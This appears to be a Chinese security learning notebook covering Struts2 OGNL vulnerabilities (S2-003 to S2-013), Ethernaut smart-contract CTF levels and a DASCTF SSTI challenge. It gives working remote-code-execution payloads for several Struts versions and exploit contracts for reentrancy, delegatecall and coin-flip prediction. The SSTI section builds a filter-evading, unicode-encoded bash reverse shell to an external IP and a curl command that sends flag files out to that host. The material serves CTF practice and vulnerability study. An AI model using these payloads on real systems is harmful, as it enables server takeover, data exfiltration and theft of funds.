漏洞:S2-003 S2-005 CVE-2008-6504

漏洞成因:

  • S2-003成因是Struts2将HTTP的每个参数名解析为ognl语句执行,而ognl表达式是通过#来访问struts的对象,Struts2框架虽然过滤了#来进行过滤,但是可以通过unicode编码(u0023)或8进制(43)绕过了安全限制,达到代码执行的效果
  • S2-005的原理和S2-003基本相似,导致用户可以绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成的漏洞,可以说是升级版的S2-005是升级版的S2-003

影响范围:Struts 2.0.0 - Struts 2.1.8.1

漏洞分析:

  1. 首先触发点com.opensymphony.xwork2.interceptor.ParametersInterceptor,可以看到默认的denyMethodExecution值是true,改为false才能继续执行,所以payload中部分内容是要将其改为false的
  2. 查看执行payload后其中获取的参数
  3. 步入setParameters函数,函数通过迭代器将参数逐个取出
  4. 步入acceptableName函数,继续步入isAccepted函数
  5. 可以看到此处的正则表达式只是简单的对#进行了过滤并没有过滤unicode字符,最终执行结束返回字符串使得判定为真
  6. 下一步继续跟进stack的setValue方法
  7. 发现其又调用了同名的重载方法,继续跟进OgnlUtil.setValue
  8. 跟入compile方法,继续跟入parseExpression方法,继续跟入topLevelExpression方法,继续进入expression,经过一系列操作后最终解析到ognl.JavaCharStream#readChar对字符串进行操作
  9. 可以看到其对\u类型的字符进行了专门的解析,将其转化为正常字符,导致OGNL表达式执行

281

漏洞:S2-007 CVE-2012-0838

漏洞成因:在Struts2中,可以将HTTP请求数据注入到实际业务Action的属性中,这些属性可以是任意类型的数据,通过HTTP只能获取到String类型数据,Struts2中默认有一个类型转换器,可以完成大部分的自动转换操作,可以通过xml文件,来定义转换规则.比如Action类中有一个integer属性,不需要执行任何操作,Struts会自动将请求参数转换为integer属性.当配置了Validation时,若类型转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次OGNL表达式解析并返回,从而可以构造特殊的恶意请求来执行命令.这种利用方式和S2-001的很相似,不同的是利用点不同.

影响版本:Struts 2.0.0 - Struts 2.2.3

漏洞分析:

  1. 首先看demo中对Struts2的默认类型转换器的调用,其通过xml文件来定义转换规则,在环境给予的demo中就将age转换为int类型,范围在1-100
  2. 具体漏洞触发点就在com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor中,先在对应位置打好断点,然后发起请求,将payload放入
  3. 可以看到此处的代码将转换出问题的内容放入了conversionErrors变量中,并在i$迭代器中循环将属性名赋值给propertyName,属性值赋值给value
  4. 最后对fakie进行的put操作,我们跟进getOverrideExpr方法,可以看到对value进行处理时对字符串前后分别添加了一个单引号,这也是我们的payload是这种格式的原因,
  5. 最终走入OgnlValueStack的setExprOverrides方法,将fakie赋值给overrides属性
  6. 当拦截器执行结束后会将jsp内容进行解析,会从OgnlValueStack的overrides属性中寻找key为age的键值对并执行ognl表达式

payload:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

282

漏洞:S2-008 CVE-2012-0391

漏洞成因:Struts2框架存在一个devmode模式,当devmode模式开启时,Struts2对传入的参数没有严格限制,导致多个地方可以执行恶意代码

影响版本:Struts 2.0.0 - Struts 2.3.17

漏洞分析:

  1. 首先看出发点位置在org.apache.struts2.interceptor.debugging.DebuggingInterceptor,在第95行处打断点,获取到debug的值为command,进入else if的判断,查看内容
  2. 可以看到进入了else if的判断后将expression传入参数的值在138行交给了cmd,又在145行通过stack.findValue执行了OGNL表达式并将回显内容写入页面

漏洞修复:在之后的版本中使用正则表达式来防止内容执行

Payload:

?debug=command&expression=%28%23_memberAccess%5B"allowStaticMethodAccess"%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28"false"%29%20%2C%23context%5B"xwork.MethodAccessor.denyMethodExecution"%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29

283

漏洞:S2-009 CVE-2011-3923

漏洞成因:Struts2框架中ParametersInterceptor拦截器只检查传入的参数名是否合法,不会检查参数值,例如传入参数top['foo'](0)会通过ParametersInterceptor的白名单检查,OGNL会将其解析为(top[‘foo’])(0),并将foo的值也作为OGNL表达式进行计算从而造成代码执行

其实这个漏洞是对S2-003和S2-005漏洞的绕过.S2-003的修复方法是禁止#号,于是S2-005通过使用#号的unicode编码\u0023或8进制编码\43来绕过,Struts2对S2-005的修复方法是禁止\等特殊符号,这次是通过Struts2框架中ParametersInterceptor拦截器只检查传入的参数名而不检查参数值的方式进行构造OGNL表达式从而造成代码执行

影响版本:Struts 2.0.0 - Struts 2.3.1

漏洞分析:

  1. 流程与S2-005基本相同,跳过分析,直接分析payload
  2. 当有形似(one)(two)的变量时,one会被当作一个OGNL表达式去计算,然后把它的结果当作另一个以two为根对象的OGNL表达式再一次计算,所以,如果one有返回内容,那么这些内容将会被当作OGNL语句被计算,而payload结尾传入的z[(name)(%27meh%27)]就是为了把name参数的值当作OGNL表达式计算

payload:

?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27whoami%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)] 

284

漏洞:S2-012 CVE-2013-1965

漏洞成因:在Struts2框架中,如果配置Action中的Result时使用了重定向类型,并且还使用${param_name}作为重定向变量,当触发redirect类型返回时,Struts2使用${param_name}获取其值,在这个过程中会对name参数的值执行OGNL表达式解析,从而可以插入任意OGNL表达式导致任意代码执行

影响版本:Struts 2.0.0 - Struts 2.3.14.2

漏洞分析:

  1. 首先还是查看配置文件,可以看到其中使用了redirect方法并且返回值中使用了${name}取值,存在漏洞触发条件

  2. com.opensymphony.xwork2.DefaultActionInvocation类中打断点

  3. 步入方法,createResult方法会根据action的返回值获取对应的result标签配置,然后传入到buildResult方法中,这个方法的作用是生成对应的Result实现类,也就是org.apache.struts2.dispatcher.ServletRedirectResult类,并把对应 result标签的值/index.jsp?name=${name}设置给ServletRedirectResult 类的location属性,然后返回ServletRedirectResult

  4. 然后返回到executeResult方法中继续执行,进入到this.result.execute中,查看result就是ServletRedirectResult类型,步入发现其执行了super的execute方法,继续跟入conditionalParse方法,发现其执行了S2-001中同名关键方法translateVariables,并且通过重载能看到限制了循环次数最高为1,这就是对S2-001的漏洞修复

  5. 对于S2-001漏洞,官方设置了循环次数,从而限制恶意代码,但这个设置的循环次数是针对的while循环,在外面还有一个for循环,for循环开始的pos参数用来获取expression表达式的开始位置,比如解析完了%{password}的值,下一次解析是从%{password}后面开始.在S2-001的修复中它被放在了for循环里,导致第二次for循环时pos的值会被重置为0.从而又从头开始解析.从下图中的变量值可以看到for进行了2次循环,循环2次是因为传入的参数new char[]{‘$’, ‘%’}长度为2导致的.for第二次循环时open为arr数组的第二个参数%,这个%和{组合后又成了S2-001的利用所需要的条件,最后还是通过while循环中的stack.findValue来进行执行代码的.S2-001修复方案中的增加loopCount变量限制了while循环的次数,却没有限制for循环的次数,每次for循环开始时loopCount都会被重置为1.

payload:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

285

漏洞:S2-013 CVE-2013-1966

漏洞成因:在Struts2标签中和都包含一个includeParams属性,其值可设置为none、get 或 all,其对应意义分别为:none:链接不包含请求的任意参数值(默认),get:链接只包含GET请求中的参数和其值,all:链接包含GET和POST所有参数和其值,用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上,这个参数会进行OGNL表达式解析,从而可以插入任意OGNL表达式导致任意代码执行

影响版本:Struts 2.0.0 - Struts 2.3.14.1

漏洞分析:

  1. 看配置文件,includeParams属性为all
  2. org.apache.struts2.components.ComponentUrlProvider打断点
  3. 跟入beforeRenderUrl函数,这个函数获取了url所传递的参数可以看到includeParams参数为all,此处的mergeRequestParameters获取到了url中传递的参数
  4. 步过执行直到end函数,继续步入renderUrl函数,此时我们能看到我们的payload已经被放入到了urlComponent的paramters属性中,继续跟入determineActionURL函数
  5. 进入到重载函数determineActionURL,执行到最后发现我们payload前半段已经被被执行,actionMapper中的allowDynamicMethodCalls属性已经变为true,继续跟入buildUrl方法
  6. 步过到buildParametersString,步入该函数,可以看到我们传入的url和参数被传入其中
  7. 进入到重载方法中,执行直到166行buildParameterSubstring函数,可以看到我们的payload已经被传入其中
  8. 继续跟入translateAndEncode函数,跟入translateVariable函数,可以发现valueStack出现了
  9. 继续跟入就是translateVariables函数了,OGNL表达式在这里被执行

payload:

?a=%24%7B%23_memberAccess%5B"allowStaticMethodAccess"%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D 

Ethernaut记录

Fallback

首先看通关方式

仔细看下面的合约代码.

通过这关你需要

  1. 获得这个合约的所有权
  2. 把他的余额减到0

这可能有帮助

  • 如何通过与ABI互动发送ether
  • 如何在ABI之外发送ether
  • 转换 wei/ether 单位 (参见 help() 命令)
  • Fallback 方法

再看代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;
  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }
  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }
  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }
  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }
  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }
  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

逐步分析,在合约的构造函数中将合约的部署者设置成了函数的owner并且设定了其贡献值为1000eth,如果走contribute函数来获取owner权限的话需要超过1000eth的贡献,而每次的贡献又需要小于0.001eth,这显然是不现实的,所以我们看向receive函数,在这里只要我们向receive函数携带eth,并且我们有贡献值就能拿到owner权限,最后再使用withdraw将合约剩余代币转出即可

  • contract.contribute({value:1})
  • contract.sendTransaction({value:1})
  • contract.withdraw()

FallOut

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;
  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

这很白痴是吧? 真实世界的合约必须安全的多, 难以入侵的多, 对吧?

实际上… 也未必.

Rubixi的故事在以太坊生态中非常知名. 这个公司把名字从 ‘Dynamic Pyramid’ 改成 ‘Rubixi’ 但是不知道怎么地, 他们没有把合约的 constructor 方法也一起更名:

contract Rubixi {
  address private owner;
  function DynamicPyramid() { owner = msg.sender; }
  function collectAllFees() { owner.transfer(this.balance) }
  ...

这让攻击者可以调用旧合约的constructor 然后获得合约的控制权, 然后再获得一些资产. 是的. 这些重大错误在智能合约的世界是有可能的.

就这没错

Coin Flip

这是一个掷硬币的游戏,你需要连续的猜对结果。完成这一关,你需要通过你的超能力来连续猜对十次。

这可能能帮助到你

  • 查看上面的帮助页面,“控制台之外” 部分
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();//回滚
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

看代码定义的三个数字consecutiveWins,lastHash,FACTOR,分别是我们获胜的次数,最后一次区块的哈希,还有2的255次方

再看后面整个对硬币反转做判断的函数内容,首先是让blockValue值为前一个区块,并且进行判断如果此次猜测和上次猜测的区块相同就回滚整个过程,如果不是就继续下面内容

首先将此次的区块内容存储,并且让coinFilp的值为blockValue/FACTOR,此处由于自动取整,并且FACTOR值为2^255,所以结果非1即0,可以看到整个过程随机结果的产生完全依靠于上一个区块,所以我们只需要先本地执行一遍算法计算出coinFlip的值就能保证我们每次都“猜”到结果,区块大约为10秒一个,所以直接使用手撸复制猜测是不现实,我们可以再写一个合约部署到相同的区块链上来攻击该链

pragma solidity ^0.4.18;
contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  function CoinFlip() public {
    consecutiveWins = 0;
  }
  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number-1));
    if (lastHash == blockValue) {
      revert();
    }
    lastHash = blockValue;
    uint256 coinFlip = blockValue/FACTOR;
    bool side = coinFlip == 1 ? true : false;
    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

contract exploit {
  CoinFlip expFlip;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  function exploit(address aimAddr) {
    expFlip = CoinFlip(aimAddr);
  }
  function hack() public {
    uint256 blockValue = uint256(block.blockhash(block.number-1));
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    bool guess = coinFlip == 1 ? true : false;
    expFlip.flip(guess);
  }
}

在Remix IDE中通过Metamask部署到题目的区块链上,进行10次hack攻击即可

通过solidity产生随机数没有那么容易. 目前没有一个很自然的方法来做到这一点, 而且你在智能合约中做的所有事情都是公开可见的, 包括本地变量和被标记为私有的状态变量. 矿工可以控制 blockhashes, 时间戳, 或是是否包括某个交易, 这可以让他们根据他们目的来左右这些事情.

想要获得密码学上的随机数,你可以使用 Chainlink VRF, 它使用预言机, LINK token, 和一个链上合约来检验这是不是真的是一个随机数.

一些其它的选项包括使用比特币block headers (通过验证 BTC Relay), RANDAO, 或是 Oraclize).

Telephone

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
  address public owner;
  constructor() public {
    owner = msg.sender;
  }
  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

直接看tx.originmsg.sender的区别

msg.sender: 指直接调用智能合约功能的帐户或智能合约的地址
tx.origin: 指调用智能合约功能的账户地址,只有账户地址可以是tx.origin

我们开一个新合约直接传入我们自己的address通过新合约调用Telephone合约即可

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.16;
contract Telephone {
  address public owner;
  constructor() public {
    owner = msg.sender;
  }
  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
contract hh{
    address ow=0xeeD53DF0B7E5CF4272a2E92c4E39B1405910d8C7;
    Telephone exp;
    constructor(address name){
        exp=Telephone(name);
    }
    function hack(){
        exp.changeOwner(ow);
    }
}

这个例子比较简单, 混淆 tx.originmsg.sender 会导致 phishing-style 攻击, 比如this.

下面描述了一个可能的攻击.

  1. 使用 tx.origin 来决定转移谁的token, 比如.
function transfer(address _to, uint _value) {
  tokens[tx.origin] -= _value;
  tokens[_to] += _value;
}
  1. 攻击者通过调用合约的 transfer 函数是受害者向恶意合约转移资产, 比如
function () payable {
  token.transfer(attackerAddress, 10000);
}
  1. 在这个情况下, tx.origin 是受害者的地址 ( msg.sender 是恶意协议的地址), 这会导致受害者的资产被转移到攻击者的手上.

Token

这一关的目标是攻破下面这个基础 token 合约

你最开始有20个 token, 如果你通过某种方法可以增加你手中的 token 数量,你就可以通过这一关,当然越多越好

这可能有帮助:

  • 什么是 odometer?
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

看代码,balances映射的相当是我们的token个数,初始为20个,再看transfer函数,要求我们的token数减去交易数要大于等于0,但是问题是token数和交易数都是uint类型,恒大于等于0(因为运算结果也是uint类型),所以require根本不需要绕过,如果我们将_value值设定为21,就会出现溢出,导致我们的balance极大,也就完成了任务

contract.transfer(instance,21)

Overflow 在 solidity 中非常常见, 你必须小心检查, 比如下面这样:

if(a + c > a) {
  a = a + c;
}

另一个简单的方法是使用 OpenZeppelin 的 SafeMath 库, 它会自动检查所有数学运算的溢出, 可以像这样使用:

a = a.add(c);

如果有溢出, 代码会自动恢复.

Delegation

这一关的目标是申明你对你创建实例的所有权.

这可能有帮助

  • 仔细看solidity文档关于 delegatecall 的低级函数, 他怎么运行的, 他如何将操作委托给链上库, 以及他对执行的影响.
  • Fallback 方法
  • 方法 ID
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

很明显需要通过调用pwn函数来将owner变成我们自己,但是部署的合约是Delegation,我们该如何调用另一个合约中的函数呢,很简单,使用solidity中自带的call方法即可

在solidity中有三种call方法可用:

  • call

    <address>.call(bytes memory) returns (bool, bytes memory)

    使用给定的payload发出一个低级(low-level)的CALL命令,返回执行是否成功和数据,转发所有可用gas,可调整。

  • delegatecall

    <address>.delegatecall(bytes memory) returns (bool, bytes memory)

    使用给定payload发出一个低级的DELEGATECALL指令,返回执行是否成功和数据,转发所有可用gas,可调整。

  • staticcall

    <address>.staticcall(bytes memory) returns (bool, bytes memory)

    使用给定payload发出一个低级的STATICCALL指令,返回执行是否成功和数据,转发所有可用gas,可调整。

  • 这官方文档纯纯废话,说了跟没说一样

乍一看似乎内容都差不多,那我们自己调用这些命令来测试一下吧

pragma solidity ^0.4.23;
contract Calltest {
    address public b;

    function test() public {
        b=address(this);
    }
}
contract Compare {
    address public b;
    address public testaddress;

    event logb(address _a);

    constructor(address _addressOfCalltest) public {
        testaddress = _addressOfCalltest;
    }
    function withcall() public {//通过call方法调用函数
        testaddress.call(bytes4(keccak256("test()")));
        emit logb(b);
    }
    function withdelegatecall() public {//通过delegatecall方法调用函数
        testaddress.delegatecall(bytes4(keccak256("test()")));
        emit logb(b);
    }
}

图中可以看到,在使用call方法调用函数时,可以发现CALLTEST合约的b已经变成了这个合约的部署地址 0xDA0bab807633f07f013f94DD0E6A4F96F8742B53,而Compare合约的地址并没有变化。说明call只是在Calltest合约中执行了test函数

而在使用delegatecall方法调用函数时,COMPARE合约的b变成了合约部署地址,说明这个函数实际上是在Compare合约中执行的,也就相当于是把函数复制了一份到合约中执行

那么在这个合约中我们只需要通过fallback执行delegatecall来进入Delegate合约中的pwn方法来执行替换owner

而fallback函数的执行只需要sendTransaction方法,带上data即可执行pwn函数,方法的ID是4字节的sha3

contract.sendTransaction({data:web3.utils.sha3("pwn()").slice(0,10)})

使用delegatecall 是很危险的, 而且历史上已经多次被用于进行 attack vector. 使用它, 你对合约相当于在说 “看这里, -其他合约- 或是 -其它库-, 来对我的状态为所欲为吧”. 代理对你合约的状态有完全的控制权. delegatecall 函数是一个很有用的功能, 但是也很危险, 所以使用的时候需要非常小心.

请参见 The Parity Wallet Hack Explained 这篇文章, 他详细解释了这个方法是如何窃取三千万美元的.

Force

有些合约就是拒绝你的付款,就是这么任性 ¯\_(ツ)_/¯

这一关的目标是使合约的余额大于0

这可能有帮助:

  • Fallback 方法
  • 有时候攻击一个合约最好的方法是使用另一个合约.
  • 阅读上方的帮助页面, “控制台之外” 部分
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

想让合约余额大于0首先想到的就是直接转账了contract.sendTransaction(instance,1),但是由于fallback重写导致我们的交易被回退,如图所示

此时我们就需要用到另一个合约了,在selfdestruct函数中会将整个合约销毁并将合约余额强制给予指定地址并且忽略fallback函数,所以这里我们只需要在制作一个新合约,存入代币,销毁发送到题目合约即可

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.16;
contract Test{
  address aim;
  constructor (address t){
    aim=t;
  }
  function a() payable{
    
  }
  function sd(){
    selfdestruct(aim);
  }
}

在solidity中, 如果一个合约要接受 ether, fallback 方法必须设置为 payable.

但是, 并没有发什么办法可以阻止攻击者通过自毁的方法向合约发送 ether, 所以, 不要将任何合约逻辑基于 address(this).balance == 0 之上.

Vault

打开 vault 来通过这一关!

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

明显要拿password,但是private怎么拿呢?

这涉及到一点:以太坊部署和合约上所有的数据都是可读的,包括这里合约内定义为private类型的password变量,我们可以使用web3.eth.getStorageAt来读取合约行对应地址的数据

web3.eth.getStorageAt(address, position [, defaultBlock] [, callback])

第一个参数时对应要读取的合约地址,第二个参数是要读取内容的索引位置(变量是第几个被定义的变量),第三个参数如果被设置,那么就不会使用默认的block(被web3.eth.defaultBlock设置的默认块),而是使用用户自定义的块,这个参数可选项有"earliest", "latest""pending",第四个选项设置回调函数。

所以我们直接读就好啦,password第二个被定义,我们直接读1

await web3.eth.getStorageAt(contract.address,1)

然后用password解锁就好啦~

请记住, 将一个变量设制成私有, 只能保证不让别的合约访问他. 设制成私有的状态变量和本地变量, 依旧可以被公开访问.

为了确保数据私有, 需要在上链前加密. 在这种情况下, 密钥绝对不要公开, 否则会被任何想知道的人获得. zk-SNARKs 提供了一个可以判断某个人是否有某个秘密参数的方法,但是不必透露这个参数.

King

下面的合约表示了一个很简单的游戏: 任何一个发送了高于目前价格的人将成为新的国王. 在这个情况下, 上一个国王将会获得新的出价, 这样可以赚得一些以太币. 看起来像是庞氏骗局.

这么有趣的游戏, 你的目标是攻破他.

当你提交实例给关卡时, 关卡会重新申明王位. 你需要阻止他重获王位来通过这一关.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

直接看receive,我们需要出价比原来的king高才能拿到控制权,并且题目中说了在提交实例是关卡会重新尝试夺回王权,也就是再给我们一个更大数额的eth,我们怎么才能防止他通过更高出价来夺走王位呢?

我们只需要在另起一个合约,在合约中设置receive内容为revert函数,这样在我们的合约收到代币的时候就会触发回滚导致king重夺王位失败

pragma solidity ^0.6.0;
contract AttackKing {
    constructor(address payable _victim) public payable {
        _victim.call.gas(1000000).value(0.01 ether)("");
    }
    receive() external payable {
        revert();
    }
}

大多数 Ethernaut 的关卡尝试展示真实发生的 bug 和 hack (以简化过的方式).

关于这次的情况, 参见: King of the EtherKing of the Ether Postmortem

Re-entrancy

经典的重入漏洞终于来喽

这一关的目标是偷走合约的所有资产.

这些可能有帮助:

  • 不可信的合约可以在你意料之外的地方执行代码.
  • Fallback methods
  • 抛出/恢复 bubbling
  • 有的时候攻击一个合约的最好方式是使用另一个合约.
  • 查看上方帮助页面, “控制台之外” 部分
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

注意这里使用了call{value:xx}的形式,callsendtransfer函数底层实现,也是用来转账的。与它们的区别在于,参考链接

  • transfer:要求接收的智能合约中必须有一个fallback或者receive函数,否则会抛出一个错误(error),并且revert(也就是回滚到交易前的状态)。而且有单笔交易中的操作总gas不能超过2300的限制。transfer函数会在以下两种情况抛出错误:
    • 付款方合约的余额不足,小于所要发送的value
    • 接收方合约拒绝接收支付
  • send:和transfer函数的工作方式基本一样,唯一的区别在于,当出现上述两种交易失败的情况时,send的返回结果是一个boolean值,而不会执行revert回滚。
  • call: call函数和上面最大的区别在于,它没有gas的限制,使用call时EVM将所有gas转移到接收合约上,形式如下:

审计合约代码,这个合约的作用类似于银行,donate存withdraw取,那么这个代码问题究竟出在哪里呢,我们直接看存款函数,首先判断我们的账户是否有足够余额,然后给我们的账户转帐,最后扣除余额,看起来都没什么问题,但是如果银行的存款账户并不是一个钱包而是一个合约呢?

这时会直接进入到这个合约的fallback或者receive函数中,这时我们可以编写一个特殊的合约,让接收函数的fallback函数重复调用目标合约的withdraw函数,这样合约就会不断给我们所编写的合约转账直至余额为0。具体代码如下

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract attack {

    address payable target;
    address payable public owner;
    uint amount = 100000000000000 wei;

    constructor(address payable _addr) public payable {
        target=_addr;
        owner = msg.sender;
    }

    function step1() public payable{
        bool b;
        (b,)=target.call{value: amount}(abi.encodeWithSignature("donate(address)",address(this)));
        require(b,"step1 error");
    }

    function setp2() public payable {
        bool b;
        (b,)=target.call(abi.encodeWithSignature("withdraw(uint256)",amount));
        require(b,"step2 error");
    }


    fallback () external payable{
        bool b;
        (b,)=target.call(abi.encodeWithSignature("withdraw(uint256)",amount));
        require(b,"fallback error");
    }

    function mywithdraw() external payable{
        require(msg.sender==owner,'not you');
        msg.sender.transfer(address(this).balance);
    }
}

1000000000000000

DASCTF 7月赛

谢谢出题人,SSTI🦈我,签到就不说了,直接看后面两个

Harddisk

SSTI,就是过滤很过分,甚至还滤了g和x这两个单字符,还过滤了{{}}和print,注定是没有回显了,要反弹shell了,先试试构造最简单的(别说为啥不用别的,都被ban了我怎么用😭) lipsum.__globals__['os'].popen('sh -i >& /dev/tcp/182.61.46.138/10000 0>&1').read()

{%set a="__globals__"%}
{%set d="os"%}
{%set e="popen"%}
{%set c="bash -i >& /dev/tcp/182.61.46.138/10000 0>&1"%}
{%set f="get"%}
{%set b=((lipsum|attr(a))|attr("get")(d))|attr(e)(c) %}

走一波unicode编码还有空格绕过,就变成了这样

{%25set%09a="\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"%25}
{%25set%09d="\u006f\u0073"%25}
{%25set%09e="\u0070\u006f\u0070\u0065\u006e"%25}
{%25set%09c="\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0031\u0038\u0032\u002e\u0036\u0031\u002e\u0034\u0036\u002e\u0031\u0033\u0038\u002f\u0031\u0030\u0030\u0030\u0030\u0020\u0030\u003e\u0026\u0031"%25}
{%25set%09f="\u0067\u0065\u0074"%25}
{%25set%09b=((lipsum|attr(a))|attr(f)(d))|attr(e)(c)%25}

执行出错了,估计是没导os模块,走import的路子吧(不知道为啥shell反弹不过来,就用学长给的curl外带吧

{%set a="__globals__"%}
{%set b="__builtins__"%}
{%set cmd="__import__("os").system("curl 182.61.46.138?`cat /f*`")"%}
{%set c=(lipsum|attr(a))|attr("get")(b)|attr("get")("eval")(cmd)%}

同上换一下格式

